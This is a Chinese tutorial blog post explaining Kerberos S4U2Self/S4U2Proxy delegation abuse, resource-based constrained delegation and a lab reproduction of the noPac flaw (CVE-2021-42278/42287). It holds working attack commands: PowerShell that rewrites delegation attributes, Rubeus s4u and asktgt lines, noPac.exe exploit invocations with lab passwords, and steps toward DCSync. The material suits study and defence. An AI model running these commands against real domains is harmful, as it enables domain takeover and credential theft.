【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
文章目录
- 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
- @[toc]
- 一:Kerberos 委派攻击原理之 S4U2利用
- 1.1原理
- 1.2两种扩展协议
- **S4U2Self (Service for User to Self)**
- **S4U2Proxy (Service for User to Proxy)**
- 1.3 S4U2Self利用过程
- 1.3.1前提条件
- 1.3.2利用步骤
- 1.4S4U2Proxy利用过程
- 1.4.1利用前提条件
- 1.4.2详细利用步骤(Rubeus)
- 1.5:**基于资源的约束委派(RBCD)利用**
- 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
- 2.1概念说明
- 2.2漏洞复现
- (1)noPac 利用
- (2)手动注入分析
- **修改计算机账户的 `sAMAccountName`(推荐)**
文章目录
- 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
- @[toc]
- 一:Kerberos 委派攻击原理之 S4U2利用
- 1.1原理
- 1.2两种扩展协议
- **S4U2Self (Service for User to Self)**
- **S4U2Proxy (Service for User to Proxy)**
- 1.3 S4U2Self利用过程
- 1.3.1前提条件
- 1.3.2利用步骤
- 1.4S4U2Proxy利用过程
- 1.4.1利用前提条件
- 1.4.2详细利用步骤(Rubeus)
- 1.5:**基于资源的约束委派(RBCD)利用**
- 二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
- 2.1概念说明
- 2.2漏洞复现
- (1)noPac 利用
- (2)手动注入分析
- **修改计算机账户的 `sAMAccountName`(推荐)**
一:Kerberos 委派攻击原理之 S4U2利用
1.1原理
S4U2Self(Service For User to Self)是 Kerberos 协议的一种委托机制,允许服务(Service)代表用户(User)自身获取用户的票证(Ticket)。这个机制在 Windows 环境中广泛应用于网络服务和应用程序,以便在用户访问需要身份验证的资源时,能够以用户的身份获取必要的票证,而无需用户交互地提供凭证。正因有了委托机制才使得攻击者以某个合法用户的身份请求特定服务的票证,然后利用漏洞伪造这些票证,从而获取到更高的权限。
当 Kerberos 无约束委派在服务器上启用,服务器托管了在 TGS-REQ (步骤3)中引用的服务主体名称中指定的服务时,DC 域控制器将用户 TGT 的一个副本放到服务票证中。 当向服务器提供用户的服务票证(TGS)以进行服务访问时,服务器打开 TGS 并将用户的 TGT 放入 LSASS 中供后续使用。 此时,应用程序服务器就可以无限制地假冒该用户
1.2两种扩展协议
S4U2Self (Service for User to Self)
用途
允许服务代表用户获取 该用户自己的服务票据(ST),而无需用户密码或交互。
典型场景:
- 用户通过非Kerberos方式(如表单认证)登录后,服务需获取用户的Kerberos票据。
- 约束委派/无约束委派攻击中模拟用户身份。
关键特性
- 无需用户密码:服务使用自己的TGT请求用户的ST。
- 票据加密:返回的ST使用 服务账户的密钥 加密(而非用户的)。
- 权限要求:服务账户需配置 “TrustedToAuthForDelegation”(无约束委派)或约束委派权限。
请求流程
- 服务向KDC发送请求,包含:
- 服务账户的TGT
- 目标用户的UPN(如
user@domain.com
) - 目标SPN(如
http/service.domain.com
)
- KDC返回加密的ST(可被服务解密使用)。
S4U2Proxy (Service for User to Proxy)
用途
允许服务在已获得用户授权后,代表用户获取 其他服务的票据(跨服务委派)。
典型场景:
- 三层应用架构中(如Web→DB),Web服务代表用户访问DB服务。
- 约束委派攻击中横向移动。
关键特性
- 需用户授权:需先通过S4U2Self获取用户的ST(作为"证据")。
- 约束限制:仅能委派到 msDS-AllowedToDelegateTo 中指定的服务。
- 票据转发:最终ST仍以用户身份加密,但由服务代理请求。
请求流程
- 服务通过S4U2Self获取用户的ST(如
user→http/service
)。 - 服务向KDC发送请求,包含:
- 服务账户的TGT
- 用户的ST(作为授权证据)
- 目标SPN(如
cifs/db.domain.com
)
- KDC返回用户对目标服务的ST(如
user→cifs/db
)。
1.3 S4U2Self利用过程
1.3.1前提条件
-
需要拥有一个具有 SPN (Service Principal Name) 的服务账户
-
该服务账户需要被授予 “TrustedToAuthForDelegation” 权限
1.3.2利用步骤
(1)获取服务账户凭据
- 通过密码、哈希或 Kerberos 票据获取服务账户的访问权限
(2)请求 S4U2Self 票据
- 使用服务账户的 TGT (Ticket Granting Ticket)
- 为目标用户请求服务票据,指定服务账户的 SPN
- 使用
KRB_TGS_REQ
请求,包含PA-FOR-USER
结构
①处理响应
- 接收 KDC 返回的服务票据
- 票据将加密为服务账户的密钥,而不是目标用户的密钥
②使用票据
- 可以使用该票据访问目标服务
- 服务会认为请求来自目标用户
可以获得访问权限
1.4S4U2Proxy利用过程
1.4.1利用前提条件
- 服务账户:拥有SPN的账户
- 约束委派权限:
- 账户配置了
msDS-AllowedToDelegateTo
属性 - 可以委派到指定的服务(如CIFS、LDAP等)
- 账户配置了
- 有效的TGT:服务账户的Kerberos票据
- 用户授权:
- 需要用户的TGS(传统约束委派)
- 或配置了基于资源的约束委派(Resource-based Constrained Delegation)
1.4.2详细利用步骤(Rubeus)
(1) 识别具有约束委派权限的账户
使用PowerShell或ldapsearch查询域中配置了约束委派的账户
(2)获取服务账户的TGT
使用已获取的服务账户凭据请求TGT
(3)执行S4U2Proxy攻击
(4)使用获取的票据
如果使用了/ptt
参数,票据会自动注入当前会话。否则可以手动注入,然后可以使用该票据访问目标服务。
1.5:基于资源的约束委派(RBCD)利用
当配置了基于资源的约束委派时:
(1) 检查目标计算机的msDS-AllowedToActOnBehalfOfOtherIdentity
Get-NetComputer dc01 | Select-Object -Property msDS-AllowedToActOnBehalfOfOtherIdentity
(2) 配置新的委派关系
$comp = Get-ADComputer dc01
$sid = (Get-ADComputer attackercomputer).SID
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
Set-ADComputer dc01 -Replace @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDbytes}
(3) 执行完整的S4U攻击链
Rubeus.exe s4u /user:attackercomputer$ /rc4:<NTLM> /impersonateuser:Administrator /msdsspn:cifs/dc01 /altservice:http /ptt
二:CVE-2021-42278-Name impersonation&CVE-2021-42287-KDC bamboozling漏洞复现
2.1概念说明
机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。过程如上图所示。
允许攻击者任意修改计算机帐户sAMAccountName字段,进而模拟域控申请票据。
加入域的机器账户默认由结尾,samAccountName默认和域机器名一致。但DC没有对sAMAccountName属性进行合法性判断,导致删除sAMAccountName结尾的$"照样可以以机器用户身份申请TGT票据。
配合 CVE-2021-42278 使用,创建与域控机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self 申请TGS Ticket,接着域控在 TGS_REP 阶段,这个账户不存在的时候,DC会使用自己的密钥加密 TGS Ticket ,提供一个属于该账户的 PAC,然后我们就得到了一个高权限ST。
2.2漏洞复现
域控
域名:test.com
账户:administrator
密码:QAX@123
计算机名:WIN-ISB0SNPKEPI
普通域用户
账户:s4u2
密码:QAX@123
(1)noPac 利用
检查是否存在漏洞
noPac.exe scan -domain test.com -user s4u2 -pass QAX@123
noPac.exe -domain test.com -user s4u2 -pass QAX@123 /dc WIN-ISB0SNPKEPI.test.com /mAccount demohb /mPassword QAX@123 /service cifs /ptt
[!NOTE]
参数 说明
-domain htb.local 目标域名。
-user domain_user 普通域用户账号(需具备创建计算机账户的权限)。
-pass ‘Password123!’ 对应用户的密码。
/dc dc02.htb.local 指定域控制器的主机名。
/mAccount demo123 攻击者创建的恶意计算机账户名称(用于名称伪装)。
/mPassword Password123! 恶意计算机账户的密码。
/service cifs 目标服务(通常为 cifs 以访问文件共享)。
/ptt 将生成的票据注入当前会话(Pass-the-Ticket)。
获得票据信息以及访问权限:
(2)手动注入分析
具体流程:
-
首先创建一个机器账户,可以使用 impacket 的
addcomputer.py
或是powermad
addcomputer.py
是利用SAMR协议
创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除 -
清除机器账户的
servicePrincipalName
属性 -
将机器账户的
sAMAccountName
,更改为DC的机器账户名字,注意后缀不带$ -
为机器账户请求TGT
-
将机器账户的
sAMAccountName
更改为其他名字,不与步骤3重复即可 -
通过S4U2self协议向DC请求ST
-
进行 DCsync Attack
普通域账户:s4u2用户是一个普通的域用户:
新增机器账户:域用户默认可以新建10个机器账户
清除SPN信息
重设机器名称
[!NOTE]
修改计算机账户的
sAMAccountName
(推荐)适用场景:
- 你希望计算机账户在 AD 中显示不带
$
的名称(但实际 Kerberos 认证仍会使用COMPUTERNAME$
)步骤:
- 打开
Active Directory 用户和计算机
(dsa.msc
)- 找到目标计算机账户(默认在
Computers
容器或自定义 OU)- 右键 → 属性 → 属性编辑器
- 找到
sAMAccountName
,默认值类似COMPUTERNAME$
- 修改为不带
$
的名称(如COMPUTERNAME
)- 点击确定保存
注意:
- 修改后,该计算机仍然需要使用
COMPUTERNAME$
进行 Kerberos 认证($
是系统必需的)。- 只是
sAMAccountName
显示变化,不影响实际功能。
修改计算机的名字
可以看到已经修改完成了
Request TGT (请求TGT)
./Rubeus.exe asktgt /user:demo1 /password:QAX@123 /domian:test.com /dc:WIN-ISB0SNPKEPI.test.com /nowrap
[!NOTE]
参数 值 说明 /user
Demo1 目标计算机账户 /password
QAX@123 计算机账户的密码(可能无效) /domain
test.com 目标域名 /dc
WIN-ISB0SNPKEPI.test.com 域控制器主机名(需确保可解析) /nowrap
- 输出票据不换行
Request S4U2self(获取票据)
相关文章:

【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权
【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权 文章目录 【内网渗透】——S4u2扩展协议提权以及KDC欺骗提权[toc]一:Kerberos 委派攻击原理之 S4U2利用1.1原理1.2两种扩展协议**S4U2Self (Service for User to Self)****S4U2Proxy (Service for User to Proxy)*…...
枢轴支压点策略
一种基于枢轴点(Pivot Point)的交易策略,主要用于在趋势行情中进行交易。 策略的核心思路是通过计算前一天的最高价、最低价和收盘价来确定当天的枢轴点,并据此计算出第一和第二阻力位以及第一和第二支撑位。 可以根据这些关键点位…...
Manus逆向工程:AI智能体的“思考”与“行动”
写在前面 本篇博客将基于 Manus 测试的行为日志,尝试反向推演其内部的核心逻辑。我们将探讨它如何巧妙地融合了计划-执行(Plan-Execute) 和 ReAct(Reasoning and Acting,即思考与行动) 两种范式,并灵活运用浏览器和 Python 解释器等工具来攻克复杂任务。 基本逻辑:从…...

Linux——CMake的快速入门上手和保姆级使用介绍、一键执行shell脚本
目录 一、前言 二、CMake简介 三、CMake与其他常见的构建、编译工具的联系 四、CMake入门 1、CMake的使用注意事项 2、基本的概念和术语 3、CMake常用的预定义变量 4、CMakeLists.txt文件的基本结构 五、上手实操 1、示例 编辑 2、一个正式的工程构建 2.1基本构…...
Keil5 MDK 安装教程
## 简介 Keil MDK(Microcontroller Development Kit)是ARM开发的一款集成开发环境(IDE),主要用于ARM Cortex-M系列微控制器的开发。MDK包含了μVision IDE和调试器、ARM C/C编译器、中间件组件等工具。本教程将指导您完…...
深入浅出 IPFS 在 DApps 和 NFT 中的应用:以 Pinata 实战为例
目录 IPFS背景什么是 IPFS?IPFS 在 DApps 与 NFT 中的作用什么是 Pinata?为什么使用它?使用原生IPFS上传下载文件(HTML + JavaScript 示例)使用Pinata上传下载文件(HTML + JavaScript 示例)注册并创建APIKey使用 Pinata 上传文件和JSON(HTML + JavaScript 示例)总结IP…...

如何高效集成MySQL数据到金蝶云星空
MySQL数据集成到金蝶云星空:SC采购入库-深圳天一-OK案例分享 在企业信息化建设中,数据的高效流转和准确对接是实现业务流程自动化的关键。本文将聚焦于一个具体的系统对接集成案例——“SC采购入库-深圳天一-OK”,详细探讨如何通过轻易云数据…...

通过POI实现对word基于书签的内容替换、删除、插入
一、基本概念 POI:即Apache POI, 它是一个开源的 Java 库,主要用于读取 Microsoft Office 文档(Word、Excel、PowerPoint 等),修改 或 生成 Office 文档内容,保存 为对应的二进制或 XML 格式&a…...

FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090
FlashInfer - 测试的GPU H100 SXM、A100 PCIe、RTX 6000 Ada、RTX 4090 flyfish GPU 技术参数术语 1. Memory bandwidth (GB/s) 中文:显存带宽(单位:GB/秒) 定义:显存(GPU 内存)与 GPU 核心…...
MCP:开启AI的“万物互联”时代
MCP:开启AI的“万物互联”时代 ——从协议标准到生态革命的技术跃迁 引言:AI的“最后一公里”困境 在2025年的AI技术浪潮中,大模型已从参数竞赛转向应用落地之争。尽管模型能生成流畅的对话、创作诗歌甚至编写代码,但用户逐渐发现…...
企业级IP代理解决方案:负载均衡与API接口集成实践
在全球化业务扩张与数据驱动决策的背景下,企业级IP代理解决方案通过负载均衡技术与API接口集成,可有效应对高频请求、反爬机制及合规风险。以下是基于企业级场景的核心实践要点: 一、负载均衡与IP代理的深度协同 动态IP池的负载均衡策略 轮询…...
Vector和list
一、Vector和list的区别——从“它们是什么”到“区别在哪儿” 1. 它们是什么? Vector:类似于一排排整齐的书架(数组),存放元素时,元素排成一条线,连续存储。可以很快通过编号(索引…...

MongoDB从入门到实战之Windows快速安装MongoDB
前言 本章节的主要内容是在 Windows 系统下快速安装 MongoDB 并使用 Navicat 工具快速连接。 MongoDB从入门到实战之MongoDB简介 MongoDB从入门到实战之MongoDB快速入门 MongoDB从入门到实战之Docker快速安装MongoDB 下载 MongoDB 安装包 打开 MongoDB 官网下载页面&…...

Excelize 开源基础库发布 2.9.1 版本更新
Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库,基于 ECMA-376,ISO/IEC 29500 国际标准。可以使用它来读取、写入由 Excel、WPS、OpenOffice 等办公软件创建的电子表格文档。支持 XLAM / XLSM / XLSX / XLTM / XLTX 等多种文档格式…...
package-lock.json能否直接删除?
package-lock.json能否直接删除? package-lock.json 生成工具:由 npm 自动生成。 触发条件:当运行 npm install 时,如果不存在 package-lock.json,npm 会创建它;如果已存在,npm 会根据它精确安…...

Profibus DP主站转Modbus RTU/TCP网关接艾默生流量计与上位机通讯
Profibus DP主站转Modbus RTU/TCP网关接艾默生流量计与上位机通讯 艾默生流量计与Profibus DP主站转Modbus RTU/TCP网关的通讯,是现代工业自动化中的一个关键环节。为了实现这一过程,我们需要了解一些基础概念和具体操作方法。 在工业自动化系统中&…...
promise的说明
目录 1.说明 2.创建promise 3.处理promise结果 4.promise的链式调用 5.静态方法 6.错误处理及误区 7.then() 内部进行异步操作时,需返回新的 Promise 8.promise链式调用控制异步方法的执行顺序 9.总结 1.说明 Promise 是 JavaScript 中处理异步操作的核心对…...
Pass-the-Hash攻击原理与防御实战指南
当黑客说出"我知道你的密码"时,可能连他们自己都不知道你的真实密码。在Windows系统的攻防战场上,Pass-the-Hash(哈希传递攻击)就像一把可以复制的万能钥匙——攻击者不需要知道密码明文,仅凭密码的…...

Linux proc文件系统 内存影射
文章目录 常见的内存分配函数/proc/pid/ 目录解析 用户进程的内存空间分配算法mmap 分配大内存可能不在堆中换为 malloc 现象相同 常见的内存分配函数 malloc / calloc / realloc(来自 C 标准库) void *malloc(size_t size):分配 size 字节…...

五、Hadoop集群部署:从零搭建三节点Hadoop环境(保姆级教程)
作者:IvanCodes 日期:2025年5月7日 专栏:Hadoop教程 前言: 想玩转大数据,Hadoop集群是绕不开的一道坎。很多小伙伴一看到集群部署就头大,各种配置、各种坑。别慌!这篇教程就是你的“救生圈”。 …...

电流检测放大器的优质选择XBLW-INA180/INA181
前言: 在当前复杂的国际贸易环境下,关税的增加使得电子元器件的采购成本不断攀升,电子制造企业面临着巨大的成本压力。为了有效应对这一挑战,实现国产化替代已成为众多企业降低生产成本、保障供应链稳定的关键战略。对此芯伯乐推出…...
5.18-AI分析师
强化练习1 神经网络训练案例(SG) #划分数据集 #以下5行需要背 folder datasets.ImageFolder(rootC:/水果种类智能训练/水果图片, transformtrans_compose) n len(folder) n1 int(n*0.8) n2 n-n1 train, test random_split(folder, [n1, n2]) #训…...
毕业论文,如何区分研究内容和研究方法?
这个问题问得太好了!😎 “研究内容”和“研究方法”经常被初学者(甚至一些老油条)混淆,尤其写论文开题报告时,一不小心就“内容”和“方法”全混在一块儿,连导师都看懵。 今天就来给大家一文讲…...

# 深度剖析LLM的“大脑”:单层Transformer的思考模式探索
简单说一下哈 —— 咱们打算训练一个单层 Transformer 加上稀疏自编码器的小型百万参数大型语言模型(LLM),然后去调试它的思考过程,看看这个 LLM 的思考和人类思考到底有多像。 LLMs 是怎么思考的呢? 开源 LLM 出现之后…...
三种常见接口测试工具(Apipost、Apifox、Postman)
三种常见接口测试工具(Apipost、Apifox、Postman)的用法及优缺点对比总结: 🔧 一、Apipost ✅ 基本用法 支持 RESTful API、GraphQL、WebSocket 等接口调试自动生成接口文档支持环境变量、接口分组、接口测试用例编写可进行前置…...
EF Core 数据库迁移命令参考
在使用 Entity Framework Core 时,若你希望通过 Package Manager Console (PMC) 执行迁移相关命令,以下是常用的 EF Core 迁移命令: PMC 方式 ✅ 常用 EF Core PMC 命令(适用于迁移) 操作PMC 命令添加迁移Add-Migra…...
剖析提示词工程中的递归提示
递归提示:解码AI交互的本质,构建复杂推理链 递归提示的核心思想,正如示例所示,是将一个复杂任务分解为一系列更小、更易于管理、逻辑上前后关联的子任务。每个子任务由一个独立的提示来驱动,而前一个提示的输出(经过必要的解析和转换)则成为下一个提示的关键输入。这种…...
互联网大厂Java求职面试:AI内容生成平台下的高并发架构设计与性能优化
互联网大厂Java求职面试:AI内容生成平台下的高并发架构设计与性能优化 场景背景: 郑薪苦是一名经验丰富的Java开发者,他正在参加一家匿名互联网大厂的技术总监面试。这家公司专注于基于AI的内容生成平台,支持大规模用户请求和复杂…...
用Redis的List实现消息队列
介绍如何在 Spring Boot 中使用 Redis List 的 BRPOPLPUSH命令来实现一个线程安全且可靠的消息队列。 整合Redis 整合Redis 用Redis的List实现消息队列 Redis的List相关指令 **「LPUSH key element [element ...]」**把元素插入到 List 的首部,如果 List 不存在…...

【C++】类与对象【下】
文章目录 再谈构造函数构造函数的赋值构造函数体赋值:初始化列表explicit关键字 static成员概念特性 C11中成员初始化的新玩法友元友元类 内部类概念 再谈构造函数 构造函数的赋值 构造函数体赋值: 在创建对象时,编译器会通过调用构造函数…...